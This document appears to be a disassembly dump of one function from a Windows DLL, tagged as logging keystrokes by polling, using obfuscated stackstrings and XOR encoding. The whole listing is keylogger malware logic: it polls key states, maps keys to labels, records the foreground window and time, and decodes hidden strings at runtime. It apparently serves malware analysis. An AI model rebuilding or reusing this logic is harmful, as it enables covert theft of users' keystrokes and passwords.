Function at 0x180036fe0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb78]
sub rsp, 0xc50
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1800c8010]
xor rax, rsp
mov qword [rbp + 0xb30], rax
mov r12, rcx
mov qword [rbp + 0x20], rcx
xor r14d, r14d
mov r15d, r14d
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], r14w
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rbp - 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r13, rax
cmp qword [r12 + 0x10], r14
jne 0x1800370b3
mov rdx, qword [rbp + 0x60]
cmp rdx, 8
jb 0x180037093
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003708e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180038122
call fcn.180055890
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], r14w
mov rcx, r12
call fcn.18000af00
xor eax, eax
jmp 0x1800380ed
movsd xmm6, qword [0x1800ba7b8]
movaps xmm1, xmm6
movq rdx, xmm6
lea rcx, [0x1800a7d98]
call fcn.18000ba10
movups xmm0, xmmword [str._SLEEP_]
movups xmmword [rbp + 0x9a0], xmm0
xor eax, eax
mov dword [rbp + 0x9b0], eax
mov dword [rbp + 0x9b4], 0x30
xorps xmm0, xmm0
movups xmmword [rbp + 0x9b8], xmm0
mov dword [rbp + 0x9c8], 0x31
xorps xmm1, xmm1
movups xmmword [rbp + 0x9cc], xmm1
mov dword [rbp + 0x9dc], 0x32
movups xmmword [rbp + 0x9e0], xmm0
mov dword [rbp + 0x9f0], 0x33
movups xmmword [rbp + 0x9f4], xmm0
mov dword [rbp + 0xa04], 0x34
movups xmmword [rbp + 0xa08], xmm1
mov dword [rbp + 0xa18], 0x35
movups xmmword [rbp + 0xa1c], xmm0
mov dword [rbp + 0xa2c], 0x36
movups xmmword [rbp + 0xa30], xmm1
mov dword [rbp + 0xa40], 0x37
movups xmmword [rbp + 0xa44], xmm0
mov dword [rbp + 0xa54], 0x38
movups xmmword [rbp + 0xa58], xmm0
mov dword [rbp + 0xa68], 0x39
movups xmmword [rbp + 0xa6c], xmm1
mov edi, 0x2a
mov dword [rbp + 0xa7c], edi
movups xmmword [rbp + 0xa80], xmm0
mov dword [rbp + 0xa90], 0x2b
movups xmmword [rbp + 0xa94], xmm0
movabs rax, 0x5000450053
mov qword [rbp + 0xaa4], rax
xor eax, eax
mov qword [rbp + 0xaac], rax
mov dword [rbp + 0xab4], eax
mov dword [rbp + 0xab8], 0x2d
movups xmmword [rbp + 0xabc], xmm0
mov dword [rbp + 0xacc], 0x2e
movups xmmword [rbp + 0xad0], xmm1
mov dword [rbp + 0xae0], 0x2f
movups xmmword [rbp + 0xae4], xmm0
movzx eax, word [0x180098414]
mov word [rbp + 0xaf4], ax
xor ecx, ecx
movups xmmword [rbp + 0xaf6], xmm0
mov word [rbp + 0xb06], cx
mov word [rbp + 0xb08], ax
movups xmmword [rbp + 0xb0a], xmm0
mov word [rbp + 0xb1a], cx
mov word [rbp + 0xb1c], ax
movups xmmword [rbp + 0xb1e], xmm0
mov word [rbp + 0xb2e], cx
mov dword [rbp + 0x5b0], 0x25c0
movups xmmword [rbp + 0x5b4], xmm0
mov dword [rbp + 0x5c4], 0xbb
movups xmmword [rbp + 0x5c8], xmm1
mov word [rbp + 0x5d8], ax
movups xmmword [rbp + 0x5da], xmm0
mov word [rbp + 0x5ea], cx
mov word [rbp + 0x5ec], ax
movups xmmword [rbp + 0x5ee], xmm0
mov word [rbp + 0x5fe], cx
mov word [rbp + 0x600], ax
movups xmmword [rbp + 0x602], xmm0
mov word [rbp + 0x612], cx
movabs rcx, 0xa000d21a8
mov qword [rbp + 0x614], rcx
xor ecx, ecx
mov qword [rbp + 0x61c], rcx
mov dword [rbp + 0x624], ecx
mov word [rbp + 0x628], ax
movups xmmword [rbp + 0x62a], xmm0
mov word [rbp + 0x63a], cx
mov word [rbp + 0x63c], ax
movups xmmword [rbp + 0x63e], xmm0
mov word [rbp + 0x64e], cx
mov word [rbp + 0x650], ax
movups xmmword [rbp + 0x652], xmm0
mov word [rbp + 0x662], cx
movsd xmm0, qword [0x1800a7f90]
movsd qword [rbp + 0x664], xmm0
mov ecx, dword [0x1800a7f98]
mov dword [rbp + 0x66c], ecx
movzx ecx, word [0x1800a7f9c]
mov word [rbp + 0x670], cx
xor ecx, ecx
mov dword [rbp + 0x672], ecx
mov word [rbp + 0x676], cx
movsd xmm0, qword [str._ALT_]
movsd qword [rbp + 0x678], xmm0
mov ecx, dword [0x1800a7fb0]
mov dword [rbp + 0x680], ecx
xor ecx, ecx
mov qword [rbp + 0x684], rcx
movups xmm0, xmmword [str._PAUSE_]
movups xmmword [rbp + 0x68c], xmm0
mov dword [rbp + 0x69c], ecx
mov word [rbp + 0x6a0], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a2], xmm0
mov word [rbp + 0x6b2], cx
movabs rcx, 0x5dd55c005b
mov qword [rbp + 0x6b4], rcx
xor ecx, ecx
mov qword [rbp + 0x6bc], rcx
mov dword [rbp + 0x6c4], ecx
mov word [rbp + 0x6c8], ax
movups xmmword [rbp + 0x6ca], xmm0
mov word [rbp + 0x6da], cx
movups xmm0, xmmword [str._JUNJA_]
movups xmmword [rbp + 0x6dc], xmm0
mov dword [rbp + 0x6ec], ecx
movups xmm0, xmmword [str._FINAL_]
movups xmmword [rbp + 0x6f0], xmm0
mov dword [rbp + 0x700], ecx
movups xmm0, xmmword [str._HANJA_]
movups xmmword [rbp + 0x704], xmm0
mov dword [rbp + 0x714], ecx
mov word [rbp + 0x718], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x71a], xmm0
mov word [rbp + 0x72a], cx
movsd xmm0, qword [str._ESC_]
movsd qword [rbp + 0x72c], xmm0
mov ecx, dword [0x1800a8000]
mov dword [rbp + 0x734], ecx
xor ecx, ecx
mov qword [rbp + 0x738], rcx
movsd xmm0, qword [str._CONV_]
movsd qword [rbp + 0x740], xmm0
mov ecx, dword [0x1800a8010]
mov dword [rbp + 0x748], ecx
movzx ecx, word [0x1800a8014]
mov word [rbp + 0x74c], cx
xor ecx, ecx
mov dword [rbp + 0x74e], ecx
mov word [rbp + 0x752], cx
movups xmm0, xmmword [str._NOCONV_]
movups xmmword [rbp + 0x754], xmm0
movzx ecx, word [0x1800a8028]
mov word [rbp + 0x764], cx
xor ecx, ecx
mov word [rbp + 0x766], cx
movups xmm0, xmmword [str._ACCEPT_]
movups xmmword [rbp + 0x768], xmm0
movzx ecx, word [0x1800a8040]
mov word [rbp + 0x778], cx
xor ecx, ecx
mov word [rbp + 0x77a], cx
movups xmm0, xmmword [str._MDCHG_]
movups xmmword [rbp + 0x77c], xmm0
mov dword [rbp + 0x78c], ecx
mov dword [rbp + 0x790], 0x20
xorps xmm0, xmm0
movups xmmword [rbp + 0x794], xmm0
movsd xmm1, qword [str._PGUP_]
movsd qword [rbp + 0x7a4], xmm1
mov ecx, dword [0x1800a8060]
mov dword [rbp + 0x7ac], ecx
movzx ecx, word [0x1800a8064]
mov word [rbp + 0x7b0], cx
xor ecx, ecx
mov dword [rbp + 0x7b2], ecx
mov word [rbp + 0x7b6], cx
movsd xmm0, qword [str._PGDN_]
movsd qword [rbp + 0x7b8], xmm0
mov ecx, dword [0x1800a8070]
mov dword [rbp + 0x7c0], ecx
movzx ecx, word [0x1800a8074]
mov word [rbp + 0x7c4], cx
xor ecx, ecx
mov dword [rbp + 0x7c6], ecx
mov word [rbp + 0x7ca], cx
movsd xmm0, qword [str._END_]
movsd qword [rbp + 0x7cc], xmm0
mov ecx, dword [0x1800a8080]
mov dword [rbp + 0x7d4], ecx
xor ecx, ecx
mov qword [rbp + 0x7d8], rcx
movsd xmm0, qword [str._HOME_]
movsd qword [rbp + 0x7e0], xmm0
mov ecx, dword [0x1800a8090]
mov dword [rbp + 0x7e8], ecx
movzx ecx, word [0x1800a8094]
mov word [rbp + 0x7ec], cx
xor ecx, ecx
mov dword [rbp + 0x7ee], ecx
mov word [rbp + 0x7f2], cx
mov dword [rbp + 0x7f4], 0x2190
xorps xmm0, xmm0
movups xmmword [rbp + 0x7f8], xmm0
mov dword [rbp + 0x808], 0x2191
xorps xmm1, xmm1
movups xmmword [rbp + 0x80c], xmm1
mov dword [rbp + 0x81c], 0x2192
movups xmmword [rbp + 0x820], xmm0
mov dword [rbp + 0x830], 0x2193
movups xmmword [rbp + 0x834], xmm1
movups xmm0, xmmword [str._SELECT_]
movups xmmword [rbp + 0x844], xmm0
movzx ecx, word [0x1800a80a8]
mov word [rbp + 0x854], cx
xor ecx, ecx
mov word [rbp + 0x856], cx
movups xmm0, xmmword [str._PRINT_]
movups xmmword [rbp + 0x858], xmm0
mov dword [rbp + 0x868], ecx
movsd xmm0, qword [str._EXEC_]
movsd qword [rbp + 0x86c], xmm0
mov ecx, dword [0x1800a80c8]
mov dword [rbp + 0x874], ecx
movzx ecx, word [0x1800a80cc]
mov word [rbp + 0x878], cx
xor ecx, ecx
mov dword [rbp + 0x87a], ecx
mov word [rbp + 0x87e], cx
movsd xmm0, qword [str._SANP_]
movsd qword [rbp + 0x880], xmm0
mov ecx, dword [0x1800a80d8]
mov dword [rbp + 0x888], ecx
movzx ecx, word [0x1800a80dc]
mov word [rbp + 0x88c], cx
xor ecx, ecx
mov dword [rbp + 0x88e], ecx
mov word [rbp + 0x892], cx
movsd xmm0, qword [str._INS_]
movsd qword [rbp + 0x894], xmm0
mov ecx, dword [0x1800a80e8]
mov dword [rbp + 0x89c], ecx
xor ecx, ecx
mov qword [rbp + 0x8a0], rcx
mov dword [rbp + 0x8a8], 0x25b6
xorps xmm0, xmm0
movups xmmword [rbp + 0x8ac], xmm0
movsd xmm1, qword [str._HELP_]
movsd qword [rbp + 0x8bc], xmm1
mov ecx, dword [0x1800a80f8]
mov dword [rbp + 0x8c4], ecx
movzx ecx, word [0x1800a80fc]
mov word [rbp + 0x8c8], cx
xor ecx, ecx
mov dword [rbp + 0x8ca], ecx
mov word [rbp + 0x8ce], cx
mov word [rbp + 0x8d0], ax
movups xmmword [rbp + 0x8d2], xmm0
mov word [rbp + 0x8e2], cx
mov word [rbp + 0x8e4], ax
movups xmmword [rbp + 0x8e6], xmm0
mov word [rbp + 0x8f6], cx
mov word [rbp + 0x8f8], ax
movups xmmword [rbp + 0x8fa], xmm0
mov word [rbp + 0x90a], cx
mov word [rbp + 0x90c], ax
movups xmmword [rbp + 0x90e], xmm0
mov word [rbp + 0x91e], cx
mov word [rbp + 0x920], ax
movups xmmword [rbp + 0x922], xmm0
mov word [rbp + 0x932], cx
mov word [rbp + 0x934], ax
movups xmmword [rbp + 0x936], xmm0
mov word [rbp + 0x946], cx
mov word [rbp + 0x948], ax
movups xmmword [rbp + 0x94a], xmm0
mov word [rbp + 0x95a], cx
mov word [rbp + 0x95c], ax
movups xmmword [rbp + 0x95e], xmm0
mov word [rbp + 0x96e], cx
mov word [rbp + 0x970], ax
movups xmmword [rbp + 0x972], xmm0
mov word [rbp + 0x982], cx
mov word [rbp + 0x984], ax
movups xmmword [rbp + 0x986], xmm0
mov word [rbp + 0x996], cx
mov ecx, dword [0x1800a8100]
mov dword [rbp + 0x4f0], ecx
movzx ecx, word [0x1800a8104]
mov word [rbp + 0x4f4], cx
mov ecx, dword [0x1800a8108]
mov dword [rbp + 0x4f6], ecx
movzx ecx, word [0x1800a810c]
mov word [rbp + 0x4fa], cx
mov ecx, dword [0x1800a8110]
mov dword [rbp + 0x4fc], ecx
movzx ecx, word [0x1800a8114]
mov word [rbp + 0x500], cx
mov ecx, dword [0x1800a8118]
mov dword [rbp + 0x502], ecx
movzx ecx, word [0x1800a811c]
mov word [rbp + 0x506], cx
mov ecx, dword [0x1800a8120]
mov dword [rbp + 0x508], ecx
movzx ecx, word [0x1800a8124]
mov word [rbp + 0x50c], cx
mov ecx, dword [0x1800a8128]
mov dword [rbp + 0x50e], ecx
movzx ecx, word [0x1800a812c]
mov word [rbp + 0x512], cx
mov ecx, dword [0x1800a8130]
mov dword [rbp + 0x514], ecx
movzx ecx, word [0x1800a8134]
mov word [rbp + 0x518], cx
mov word [rbp + 0x51a], ax
xor ecx, ecx
mov dword [rbp + 0x51c], ecx
mov word [rbp + 0x520], ax
mov dword [rbp + 0x522], ecx
mov word [rbp + 0x526], ax
mov dword [rbp + 0x528], ecx
mov ecx, dword [0x1800a8138]
mov dword [rbp + 0x530], ecx
movzx ecx, word [0x1800a813c]
mov word [rbp + 0x534], cx
mov ecx, dword [0x1800a8140]
mov dword [rbp + 0x536], ecx
movzx ecx, word [0x1800a8144]
mov word [rbp + 0x53a], cx
mov ecx, dword [0x1800a8148]
mov dword [rbp + 0x53c], ecx
movzx ecx, word [0x1800a814c]
mov word [rbp + 0x540], cx
mov ecx, dword [0x1800a8150]
mov dword [rbp + 0x542], ecx
movzx ecx, word [0x1800a8154]
mov word [rbp + 0x546], cx
mov word [rbp + 0x548], ax
xor ecx, ecx
mov dword [rbp + 0x54a], ecx
mov word [rbp + 0x54e], ax
mov dword [rbp + 0x550], ecx
mov word [rbp + 0x554], ax
mov dword [rbp + 0x556], ecx
mov word [rbp + 0x55a], ax
mov dword [rbp + 0x55c], ecx
mov word [rbp + 0x560], ax
mov dword [rbp + 0x562], ecx
mov word [rbp + 0x566], ax
xor eax, eax
mov dword [rbp + 0x568], eax
mov eax, dword [0x1800a8158]
mov dword [rbp + 0x570], eax
movzx eax, word [0x1800a815c]
mov word [rbp + 0x574], ax
mov eax, dword [0x1800a8160]
mov dword [rbp + 0x576], eax
movzx eax, word [0x1800a8164]
mov word [rbp + 0x57a], ax
mov eax, dword [0x1800a8168]
mov dword [rbp + 0x57c], eax
movzx eax, word [0x1800a816c]
mov word [rbp + 0x580], ax
mov eax, dword [0x1800a8170]
mov dword [rbp + 0x582], eax
movzx eax, word [0x1800a8174]
mov word [rbp + 0x586], ax
mov eax, dword [0x1800a8178]
mov dword [rbp + 0x588], eax
movzx eax, word [0x1800a817c]
mov word [rbp + 0x58c], ax
mov eax, dword [0x1800a8180]
mov dword [rbp + 0x58e], eax
movzx eax, word [0x1800a8184]
mov word [rbp + 0x592], ax
mov eax, dword [0x1800a8188]
mov dword [rbp + 0x594], eax
movzx eax, word [0x1800a818c]
mov word [rbp + 0x598], ax
mov eax, dword [0x1800a8190]
mov dword [rbp + 0x59a], eax
movzx eax, word [0x1800a8194]
mov word [rbp + 0x59e], ax
mov eax, dword [0x1800a8198]
mov dword [rbp + 0x5a0], eax
movzx eax, word [0x1800a819c]
mov word [rbp + 0x5a4], ax
mov eax, dword [0x1800a81a0]
mov dword [rbp + 0x5a6], eax
movzx eax, word [0x1800a81a4]
mov word [rbp + 0x5aa], ax
nop dword [rax]
mov ebx, r14d
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x180037f6b
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rsi, rax
cmp r15, rax
je 0x180037d90
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [rsp + 0x40], 0x2a0060
mov dword [rsp + 0x44], 0x330069
mov dword [rsp + 0x48], 0x35002a
mov dword [rsp + 0x4c], 0x690037
mov dword [rsp + 0x50], 0x2a0033
mov dword [rsp + 0x54], 0x370035
mov dword [rsp + 0x58], 0x250069
mov dword [rsp + 0x5c], 0x35002a
mov dword [rsp + 0x60], 0x690037
mov dword [rsp + 0x64], 0x2a003f
mov dword [rsp + 0x68], 0x370035
mov dword [rsp + 0x6c], 0x3f0069
mov dword [rsp + 0x70], 0x35002a
mov dword [rsp + 0x74], 0x690037
mov dword [rsp + 0x78], 0x62
mov rax, r14
movdqa xmm1, xmmword [0x1800ba880]
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rsp + rax*2 + 0x40]
psubw xmm0, xmm1
movdqu xmmword [rsp + rax*2 + 0x40], xmm0
add rax, 8
cmp rax, 0x18
jb 0x180037b60
cmp rax, 0x1d
jae 0x180037b9e
mov ecx, 0xfffb
nop word [rax + rax]
add word [rsp + rax*2 + 0x40], cx
inc rax
cmp rax, 0x1d
jb 0x180037b90
movzx eax, word [rbp + 0x1c]
movzx ecx, word [rbp + 0x1a]
movzx edx, word [rbp + 0x18]
movzx r10d, word [rbp + 0x16]
movzx r9d, word [rbp + 0x12]
movzx r8d, word [rbp + 0x10]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r10d
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x68]
call fcn.18000c8a0
nop
xor edx, edx
mov r8d, 0x434
lea rcx, [rbp + 0xb4]
call fcn.180059570
mov dword [rbp + 0xb0], 0x438
lea rdx, [rbp + 8]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [rbp + 8]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp + 0xb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
mov rdx, rsi
lea rcx, [rbp - 0x18]
call fcn.18001ab90
nop
mov rcx, rax
call fcn.18000a860
mov r15, rax
lea rcx, [rbp + 0x68]
call fcn.18000a860
mov r8, rax
mov dword [rbp - 0x80], 0x150018
mov dword [rbp - 0x7c], 0x150018
mov dword [rbp - 0x78], 0x7e0030
mov dword [rbp - 0x74], 0x38002b
mov dword [rbp - 0x70], 0x30002b
mov dword [rbp - 0x6c], 0x2b007e
mov dword [rbp - 0x68], 0x2b0038
mov dword [rbp - 0x64], 0x30002d
mov dword [rbp - 0x60], 0x2d007e
mov dword [rbp - 0x5c], 0x150018
mov word [rbp - 0x58], r14w
mov rax, r14
movdqa xmm1, xmmword [str._v_v_v_v_v_v_v_v]
nop
movdqu xmm0, xmmword [rbp + rax*2 - 0x80]
psubw xmm0, xmm1
movdqu xmmword [rbp + rax*2 - 0x80], xmm0
add rax, 8
cmp rax, 0x10
jb 0x180037ca0
cmp rax, 0x14
jae 0x180037cde
mov ecx, 0xfff5
nop word [rax + rax]
add word [rbp + rax*2 - 0x80], cx
inc rax
cmp rax, 0x14
jb 0x180037cd0
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xe0]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x88]
call fcn.18000c8a0
nop
lea rcx, [rbp - 0x18]
call fcn.18000af00
mov r15, rsi
test rdi, rdi
je 0x180037d69
cmp rdi, 0xffffffffffffffff
je 0x180037d69
movdqa xmm0, xmmword [0x1800bc1c0]
movdqu xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1800baae0]
movdqu xmmword [rbp - 0x30], xmm1
mov rcx, r14
nop
movzx eax, byte [rbp - 0x40]
xor byte [rbp + rcx - 0x3f], al
movzx eax, byte [rbp - 0x40]
xor byte [rbp + rcx - 0x3e], al
add rcx, 2
cmp rcx, 0x1e
jb 0x180037d30
mov byte [rbp - 0x21], 0
lea rdx, [rbp - 0x3f]
lea rcx, [rsp + 0x40]
call fcn.18000a950
mov rdx, rax
call fcn.18000a540
mov rcx, rdi
call rax
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x48]
call fcn.18003e8b0
nop
lea rcx, [rbp + 0x88]
call fcn.18000af00
nop
lea rcx, [rbp + 0x68]
call fcn.18000af00
lea rcx, [rbp + 0x28]
call fcn.180024c10
nop
lea eax, [rbx - 0x5f]
cmp eax, 0x10
ja 0x180037dc5
mov eax, ebx
sub rax, 0x5f
lea rax, [rax + rax*4]
lea rdx, [rbp + 0x9a0]
lea rdx, [rdx + rax*4]
lea rcx, [rbp + 0x28]
call fcn.180024bc0
jmp 0x180037f54
cmp ebx, 0x2e
ja 0x180037dfd
movabs rcx, 0x41e003e02300
bt rcx, rbx
jae 0x180037dfd
mov eax, ebx
sub rax, 8
lea rax, [rax + rax*4]
lea rdx, [rbp + 0x5b0]
lea rdx, [rdx + rax*4]
lea rcx, [rbp + 0x28]
call fcn.180024bc0
jmp 0x180037f54
lea eax, [rbx - 0x41]
cmp eax, 0x19
ja 0x180037e71
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x180037f7a
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x180037f7a
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x10
test ax, ax
je 0x180037e58
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x180037e66
lea eax, [rbx + 0x20]
movzx edx, ax
jmp 0x180037f4b
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
lea eax, [rbx + 0x20]
jns 0x180037e69
movsx eax, bl
movzx edx, ax
jmp 0x180037f4b
lea eax, [rbx - 0xba]
cmp eax, 6
ja 0x180037eb5
mov eax, ebx
sub rax, 0xba
lea rdi, [rax + rax*2]
add rdi, rdi
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x180037ea8
movzx edx, word [rbp + rdi + 0x4f2]
jmp 0x180037f4b
movzx edx, word [rbp + rdi + 0x4f0]
jmp 0x180037f4b
lea eax, [rbx - 0xdb]
cmp eax, 4
ja 0x180037ef3
mov eax, ebx
sub rax, 0xdb
lea rdi, [rax + rax*2]
add rdi, rdi
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x180037ee9
movzx edx, word [rbp + rdi + 0x532]
jmp 0x180037f4b
movzx edx, word [rbp + rdi + 0x530]
jmp 0x180037f4b
lea eax, [rbx - 0x30]
cmp eax, 9
ja 0x180037f2c
mov eax, ebx
sub rax, 0x30
lea rdi, [rax + rax*2]
add rdi, rdi
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x180037f22
movzx edx, word [rbp + rdi + 0x572]
jmp 0x180037f4b
movzx edx, word [rbp + rdi + 0x570]
jmp 0x180037f4b
cmp ebx, 0x20
jne 0x180037f35
mov edx, ebx
jmp 0x180037f4b
cmp ebx, 1
jne 0x180037f41
mov edx, 0x25cf
jmp 0x180037f4b
cmp ebx, 2
jne 0x180037f62
mov edx, 0x25cc
lea rcx, [rbp + 0x28]
call fcn.18003e8d0
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x48]
call fcn.18003e8b0
nop
lea rcx, [rbp + 0x28]
call fcn.18000af00
inc ebx
cmp ebx, 0xff
jge 0x180037f83
jmp 0x180037aa3
lea rcx, [rbp + 0x28]
call fcn.18000af00
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rdi, rax
sub rax, r13
cmp rax, 0x2710
jb 0x180038009
cmp qword [rbp + 0x58], 0
je 0x180038009
movaps xmm1, xmm6
movq rdx, xmm6
lea rcx, [0x1800a7d98]
call fcn.18000ba10
lea rax, [rbp - 0x18]
mov qword [rbp - 0x50], rax
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.180024c30
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.18000c500
mov rbx, rax
mov rdx, r12
lea rcx, [rbp + 0x68]
call fcn.180024c30
nop
mov r8d, 1
mov rdx, rbx
mov rcx, rax
call fcn.180029500
test eax, eax
je 0x1800380d8
lea rcx, [rbp + 0x48]
call fcn.18003e890
mov r13, rdi
sub rdi, qword [rbp - 0x20]
cmp rdi, 0x493e0
jae 0x180038070
movdqa xmm0, xmmword [0x1800bb610]
mov word [rbp + 0x38], 0x4940
mov byte [rbp + 0x3a], 0
psubb xmm0, xmmword [0x1800baca0]
movdqu xmmword [rbp + 0x28], xmm0
mov eax, 0x10
nop word [rax + rax]
add byte [rbp + rax + 0x28], 0xf9
inc rax
cmp rax, 0x12
jb 0x180038040
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x40]
call fcn.18000a950
mov rdx, rax
call fcn.18000a540
mov ecx, 0xa
call rax
jmp 0x180037aa0
movaps xmm1, xmm6
movq rdx, xmm6
lea rcx, [0x1800a7d98]
call fcn.18000ba10
cmp qword [rbp + 0x58], 0
je 0x1800380d2
lea rax, [rbp - 0x18]
mov qword [rbp - 0x48], rax
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.180024c30
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.18000c500
mov rbx, rax
mov rdx, r12
lea rcx, [rbp + 0x68]
call fcn.180024c30
nop
mov r8d, 1
mov rdx, rbx
mov rcx, rax
call fcn.180029500
test eax, eax
je 0x1800380d8
mov r14d, 1
lea rcx, [rbp + 0x48]
call fcn.18000af00
nop
mov rcx, r12
call fcn.18000af00
mov eax, r14d
mov rcx, qword [rbp + 0xb30]
xor rcx, rsp
call fcn.1800555d0
lea r11, [rsp + 0xc50]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180067178
nop
int3